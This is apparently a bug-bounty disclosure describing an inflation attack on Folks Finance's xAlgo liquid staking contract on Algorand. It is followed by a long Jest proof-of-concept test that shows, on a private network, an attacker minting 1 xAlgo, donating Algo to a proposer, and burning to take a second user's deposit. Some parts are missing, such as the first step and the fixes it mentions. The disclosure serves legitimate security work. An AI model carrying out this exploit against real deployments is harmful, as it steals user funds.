The liquid staking contract in Folks Finance is vulnerable to an inflation attack, allowing malicious actors to inflate xAlgo value by donating Algo to a proposer. This flaw enables attackers to exploit the system and steal deposits from other users.
In Ethereum, such attacks are more prominent due to frontrunning risks. However, in Algorand this is less of an issue, making the inflation possible but the attack a bit tougher to perform.
After 320 rounds, xAlgo is available to mint, allowing the attacker to intervene: 2. Attacker mints 1 Algo
, receiving 1 xAlgo
.
3. Attacker donates 50 Algo
, inflating xAlgo value.
4. Attacker calls claim_delayed_mint
for the victim, forcing them to mint only 1 xAlgo
.
5. Attacker burns their 1 xAlgo
, stealing funds from the victim.
Steps 2-5 can be performed atomically in a single transaction, ensuring minimal risk for the attacker.
This vulnerability is critical, as it allows attackers to steal user funds with minimal risk, undermining the protocol's integrity and user trust.
By implementing these fixes, the protocol can effectively mitigate this vulnerability and safeguard user funds.
Copy import {
ABIContract,
Account,
Algodv2,
AtomicTransactionComposer,
decodeAddress,
decodeUint64,
encodeUint64,
generateAccount,
getApplicationAddress,
getMethodByName,
IntDecoding,
makeApplicationCreateTxn,
makeApplicationUpdateTxn,
makeBasicAccountTransactionSigner,
modelsv2,
OnApplicationComplete,
} from "algosdk";
import { mulScale, mulScaleRoundUp, ONE_16_DP, ONE_4_DP } from "folks-finance-js-sdk";
import { sha256 } from "js-sha256";
import { prepareOptIntoAssetTxn } from "./transactions/common";
import {
parseXAlgoConsensusV1GlobalState,
prepareAddProposerForXAlgoConsensus,
prepareBurnFromXAlgoConsensusV2,
prepareClaimDelayedMintFromXAlgoConsensus,
prepareClaimXAlgoConsensusV2Fee,
prepareDelayedMintFromXAlgoConsensusV2,
prepareImmediateMintFromXAlgoConsensusV2,
prepareInitialiseXAlgoConsensusV1,
prepareInitialiseXAlgoConsensusV2,
preparePauseXAlgoConsensusMinting,
prepareRegisterXAlgoConsensusOffline,
prepareRegisterXAlgoConsensusOnline,
prepareScheduleXAlgoConsensusSCUpdate,
prepareUpdateXAlgoConsensusAdmin,
prepareUpdateXAlgoConsensusV2Fee,
prepareUpdateXAlgoConsensusPremium,
prepareUpdateXAlgoConsensusMaxProposerBalance,
prepareUpdateXAlgoConsensusSC,
prepareSetXAlgoConsensusProposerAdmin,
prepareSubscribeXAlgoConsensusProposerToXGov,
prepareUnsubscribeXAlgoConsensusProposerFromXGov,
prepareXAlgoConsensusDummyCall,
parseXAlgoConsensusV2GlobalState,
prepareCreateXAlgoConsensusV1,
prepareMintFromXAlgoConsensusV1,
} from "./transactions/xAlgoConsensus";
import { getABIContract } from "./utils/abi";
import { getAlgoBalance, getAssetBalance } from "./utils/account";
import {
compilePyTeal,
compileTeal,
enc,
getAppGlobalState,
getParsedValueFromState,
parseUint64s
} from "./utils/contracts";
import { fundAccountWithAlgo } from "./utils/fund";
import { privateAlgodClient, startPrivateNetwork, stopPrivateNetwork } from "./utils/privateNetwork";
import { advanceBlockRounds, advancePrevBlockTimestamp } from "./utils/time";
import { getParams, submitGroupTransaction, submitTransaction } from "./utils/transaction";
jest.setTimeout(1000000);
describe("Algo Consensus V2", () => {
let algodClient: Algodv2;
let prevBlockTimestamp: bigint;
let user1: Account = generateAccount();
let user2: Account = generateAccount();
let proposer0: Account = generateAccount();
let proposer1: Account = generateAccount();
let proposer2: Account = generateAccount();
let admin: Account = generateAccount();
let registerAdmin: Account = generateAccount();
let xGovAdmin: Account = generateAccount();
let proposerAdmin: Account = generateAccount();
let xAlgoAppId: number, xAlgoId: number;
let xAlgoConsensusABI: ABIContract;
let xGovRegistryAppId: number;
let xGovRegistryABI: ABIContract;
let xGovFee: bigint;
const timeDelay = BigInt(86400);
const minProposerBalance = BigInt(5e6);
const maxProposerBalance = BigInt(500e6);
const premium = BigInt(0.001e16); // 0.1%
const fee = BigInt(0.1e4); // 10%
const nonce = Uint8Array.from([0, 0]);
const resizeProposerBoxCost = BigInt(16000);
const updateSCBoxCost = BigInt(32100);
const delayMintBoxCost = BigInt(36100);
async function getXAlgoRate() {
const atc = new AtomicTransactionComposer();
atc.addMethodCall({
sender: user1.addr,
signer: makeBasicAccountTransactionSigner(user1),
appID: xAlgoAppId,
method: getMethodByName(xAlgoConsensusABI.methods, "get_xalgo_rate"),
methodArgs: [],
suggestedParams: await getParams(algodClient),
});
const simReq = new modelsv2.SimulateRequest({
txnGroups: [],
allowUnnamedResources: true,
})
const { methodResults } = await atc.simulate(algodClient, simReq);
const { returnValue } = methodResults[0];
const [algoBalance, xAlgoCirculatingSupply, balances]: [bigint, bigint, Uint8Array] = returnValue as any;
const proposersBalances = parseUint64s(Buffer.from(balances).toString("base64"));
return { algoBalance, xAlgoCirculatingSupply, proposersBalances } ;
}
beforeAll(async () => {
await startPrivateNetwork();
algodClient = privateAlgodClient();
algodClient.setIntEncoding(IntDecoding.MIXED);
// initialise accounts with algo
await fundAccountWithAlgo(algodClient, user1.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, user2.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, admin.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, registerAdmin.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, xGovAdmin.addr, 1000e6, await getParams(algodClient));
await fundAccountWithAlgo(algodClient, proposerAdmin.addr, 1000e6, await getParams(algodClient));
// advance time well past current time so we are dealing with deterministic time using offsets
prevBlockTimestamp = await advancePrevBlockTimestamp(algodClient, 1000);
// deploy xgov registry
const approval = await compileTeal(compilePyTeal('contracts/testing/xgov_registry'));
const clear = await compileTeal(compilePyTeal('contracts/common/clear_program', 10));
const tx = makeApplicationCreateTxn(user1.addr, await getParams(algodClient), OnApplicationComplete.NoOpOC, approval, clear, 0, 0, 1, 0);
const txId = await submitTransaction(algodClient, tx, user1.sk);
const txInfo = await algodClient.pendingTransactionInformation(txId).do();
xGovRegistryAppId = txInfo["application-index"];
xGovRegistryABI = getABIContract('contracts/testing/xgov_registry');
xGovFee = BigInt(getParsedValueFromState(await getAppGlobalState(algodClient, xGovRegistryAppId), "xgov_fee") || 0);
});
afterAll(() => {
stopPrivateNetwork();
});
describe("creation" , () => {
test("succeeds in updating from x algo consensus v1 to x algo consensus v2", async () => {
// deploy algo consensus v1
const { tx: createTx, abi } = await prepareCreateXAlgoConsensusV1(admin.addr, admin.addr, registerAdmin.addr, minProposerBalance, maxProposerBalance, premium, fee, await getParams(algodClient));
xAlgoConsensusABI = abi;
let txId = await submitTransaction(algodClient, createTx, admin.sk);
let txInfo = await algodClient.pendingTransactionInformation(txId).do();
xAlgoAppId = txInfo["application-index"];
// fund minimum balance
await fundAccountWithAlgo(algodClient, proposer0.addr, BigInt(0.1e6), await getParams(algodClient));
await fundAccountWithAlgo(algodClient, getApplicationAddress(xAlgoAppId), 0.6034e6);
// initialise algo consensus v1
const initTxns = prepareInitialiseXAlgoConsensusV1(xAlgoConsensusABI, xAlgoAppId, admin.addr, proposer0.addr, await getParams(algodClient));
[, txId] = await submitGroupTransaction(algodClient, initTxns, [proposer0.sk, admin.sk]);
txInfo = await algodClient.pendingTransactionInformation(txId).do();
xAlgoId = txInfo['inner-txns'][0]['asset-index'];
// verify xAlgo was created
const assetInfo = await algodClient.getAssetByID(xAlgoId).do();
expect(assetInfo.params.creator).toEqual(getApplicationAddress(xAlgoAppId));
expect(assetInfo.params.reserve).toEqual(getApplicationAddress(xAlgoAppId));
expect(assetInfo.params.total).toEqual(BigInt(10e15));
expect(assetInfo.params.decimals).toEqual(6);
expect(assetInfo.params.name).toEqual('Governance xAlgo');
expect(assetInfo.params['unit-name']).toEqual('xALGO');
// opt into xALGO
let optInTx = prepareOptIntoAssetTxn(admin.addr, xAlgoId, await getParams(algodClient));
await submitTransaction(algodClient, optInTx, admin.sk);
optInTx = prepareOptIntoAssetTxn(user1.addr, xAlgoId, await getParams(algodClient));
await submitTransaction(algodClient, optInTx, user1.sk);
optInTx = prepareOptIntoAssetTxn(user2.addr, xAlgoId, await getParams(algodClient));
await submitTransaction(algodClient, optInTx, user2.sk);
// mint to get pool started
const mintAmount = BigInt(100e6);
const mintTxns = prepareMintFromXAlgoConsensusV1(xAlgoConsensusABI, xAlgoAppId, xAlgoId, user2.addr, mintAmount, proposer0.addr, await getParams(algodClient));
await submitGroupTransaction(algodClient, mintTxns, mintTxns.map(() => user2.sk));
// verify global state
const state = await parseXAlgoConsensusV1GlobalState(algodClient, xAlgoAppId);
expect(state.initialised).toEqual(true);
expect(state.admin).toEqual(admin.addr);
expect(state.registerAdmin).toEqual(registerAdmin.addr);
expect(state.xAlgoId).toEqual(xAlgoId);
expect(state.numProposers).toEqual(BigInt(1));
expect(state.minProposerBalance).toEqual(minProposerBalance);
expect(state.maxProposerBalance).toEqual(maxProposerBalance);
expect(state.fee).toEqual(fee);
expect(state.premium).toEqual(premium);
expect(state.totalPendingStake).toEqual(BigInt(0));
expect(state.totalActiveStake).toEqual(mintAmount);
expect(state.totalRewards).toEqual(BigInt(0));
expect(state.totalUnclaimedFees).toEqual(BigInt(0));
expect(state.canImmediateMint).toEqual(true);
expect(state.canDelayMint).toEqual(false);
// verify proposers box
const proposersBox = await algodClient.getApplicationBoxByName(xAlgoAppId, enc.encode("pr")).do();
const proposers = new Uint8Array(960);
proposers.set(decodeAddress(proposer0.addr).publicKey, 0);
expect(proposersBox.value).toEqual(proposers);
// verify added proposer box
const boxName = Uint8Array.from([...enc.encode("ap"), ...decodeAddress(proposer0.addr).publicKey]);
const addedProposerBox = await algodClient.getApplicationBoxByName(xAlgoAppId, boxName).do();
expect(addedProposerBox.value).toEqual(new Uint8Array(0));
// verify balances
const user2XAlgoBalance = await getAssetBalance(algodClient, user2.addr, xAlgoId);
expect(user2XAlgoBalance).toEqual(mintAmount);
// update to algo consensus v2
const approval = await compileTeal(compilePyTeal('contracts/xalgo/consensus_v2'));
const clear = await compileTeal(compilePyTeal('contracts/common/clear_program', 10));
const updateTx = makeApplicationUpdateTxn(admin.addr, await getParams(algodClient), xAlgoAppId, approval, clear);
await submitTransaction(algodClient, updateTx, admin.sk);
xAlgoConsensusABI = getABIContract('contracts/xalgo/consensus_v2');
});
});
describe("initialise", () => {
test("succeeds for admin", async () => {
const oldState = await parseXAlgoConsensusV1GlobalState(algodClient, xAlgoAppId);
// initialise
const tx = prepareInitialiseXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, admin.addr, await getParams(algodClient));
await submitTransaction(algodClient, tx, admin.sk);
// verify global state
const unformattedState = await getAppGlobalState(algodClient, xAlgoAppId);
expect(getParsedValueFromState(unformattedState, "initialised")).toBeUndefined();
expect(getParsedValueFromState(unformattedState, "min_proposer_balance")).toBeUndefined();
const state = await parseXAlgoConsensusV2GlobalState(algodClient, xAlgoAppId);
expect(state.initialised).toEqual(true);
expect(state.admin).toEqual(oldState.admin);
expect(state.xGovAdmin).toEqual(oldState.admin);
expect(state.registerAdmin).toEqual(oldState.registerAdmin);
expect(state.xAlgoId).toEqual(oldState.xAlgoId);
expect(state.numProposers).toEqual(oldState.numProposers);
expect(state.maxProposerBalance).toEqual(oldState.maxProposerBalance);
expect(state.fee).toEqual(oldState.fee);
expect(state.premium).toEqual(oldState.premium);
expect(state.totalPendingStake).toEqual(oldState.totalPendingStake);
expect(state.totalActiveStake).toEqual(oldState.totalActiveStake);
expect(state.totalRewards).toEqual(oldState.totalRewards);
expect(state.totalUnclaimedFees).toEqual(oldState.totalUnclaimedFees);
expect(state.canImmediateMint).toEqual(oldState.canImmediateMint);
expect(state.canDelayMint).toEqual(oldState.canDelayMint);
// const { algoBalance: a, xAlgoCirculatingSupply: b, proposersBalances: c } = await getXAlgoRate();
// console.log(`algoBalance: ${a}, xAlgoCirculatingSupply: ${b}, proposersBalances: ${c}`)
});
});
describe("IMMUNEFI POC: Inflation attack", () => {
const proposerAddrs = [proposer0.addr];
beforeAll(async () => {
// create a clean slate for the project
const { xAlgoCirculatingSupply: xAlgoToBurn } = await getXAlgoRate();
// this is only to start a clean slate
const txns1 = prepareBurnFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId, user2.addr, xAlgoToBurn, BigInt(0), proposerAddrs, await getParams(algodClient));
const [, txId1] = await submitGroupTransaction(algodClient, txns1, txns1.map(() => user2.sk));
await algodClient.pendingTransactionInformation(txId1).do();
// initial amounts
const { algoBalance: algoBalanceInitial, xAlgoCirculatingSupply: xAlgoCirculatingSupplyInitial } = await getXAlgoRate();
expect(algoBalanceInitial).toEqual(BigInt(0)); // no algo in protocol
expect(xAlgoCirculatingSupplyInitial).toEqual(BigInt(0)); // no xAlgo in protocol
})
test("inflation attack steal from 2 minter", async () => {
const mintAmount = BigInt(10e6);
const halfMintAmount = BigInt(5e6);
const minReceived = BigInt(0);
// immediate mint for user 1
const txns = prepareImmediateMintFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId, user1.addr, BigInt(1), minReceived, proposerAddrs, await getParams(algodClient));
const [, txId] = await submitGroupTransaction(algodClient, txns, txns.map(() => user1.sk));
await algodClient.pendingTransactionInformation(txId).do();
// fund the proposer, it will return to the algoBalance as rewards.
await fundAccountWithAlgo(algodClient, proposer0.addr, halfMintAmount, await getParams(algodClient));
const { algoBalance: algoSpentByAttacker, xAlgoCirculatingSupply: xAlgoCirculatingSupplyAfterFirstMint } = await getXAlgoRate();
console.log(`algoBalanceAfterFirstMint: ${algoSpentByAttacker}, xAlgoCirculatingSupplyAfterFirstMint: ${xAlgoCirculatingSupplyAfterFirstMint}`)
expect(xAlgoCirculatingSupplyAfterFirstMint).toEqual(BigInt(1));
// immediate mint for user 2
const txns2 = prepareImmediateMintFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId, user2.addr, mintAmount, minReceived, proposerAddrs, await getParams(algodClient));
const [, txId2] = await submitGroupTransaction(algodClient, txns2, txns2.map(() => user2.sk));
await algodClient.pendingTransactionInformation(txId2).do();
const { algoBalance: algoBalanceAfterSecondMint, xAlgoCirculatingSupply: xAlgoCirculatingSupplyAfterSecondMint } = await getXAlgoRate();
console.log(`algoBalanceAfterSecondMint: ${algoBalanceAfterSecondMint}, xAlgoCirculatingSupplyAfterSecondMint: ${xAlgoCirculatingSupplyAfterSecondMint}`)
expect(xAlgoCirculatingSupplyAfterSecondMint).toEqual(BigInt(2)); // only 1 additional xAlgo was minted
// user1 withdraws and steals funds from user 2
const txns1 = prepareBurnFromXAlgoConsensusV2(xAlgoConsensusABI, xAlgoAppId, xAlgoId, user1.addr, BigInt(1), BigInt(0), proposerAddrs, await getParams(algodClient));
const [, txId1] = await submitGroupTransaction(algodClient, txns1, txns1.map(() => user1.sk));
await algodClient.pendingTransactionInformation(txId1).do();
// initial amounts
const { algoBalance: algoBalanceAfterAttack, xAlgoCirculatingSupply: xAlgoCirculatingSupplyAfterAttack } = await getXAlgoRate();
console.log(`algoBalanceAfterAttack: ${algoBalanceAfterAttack}, xAlgoCirculatingSupplyAfterAttack: ${xAlgoCirculatingSupplyAfterAttack}`)
const attackerAlgoGain = algoBalanceAfterSecondMint - algoBalanceAfterAttack;
const stolenAlgoAmount = attackerAlgoGain - algoSpentByAttacker;
expect(attackerAlgoGain).toBeGreaterThan(algoSpentByAttacker); // attacker stole from the user 2
console.log(`attacker gained: ${attackerAlgoGain}, attacker spent: ${algoSpentByAttacker}, attacker stole: ${stolenAlgoAmount}`)
});
});
});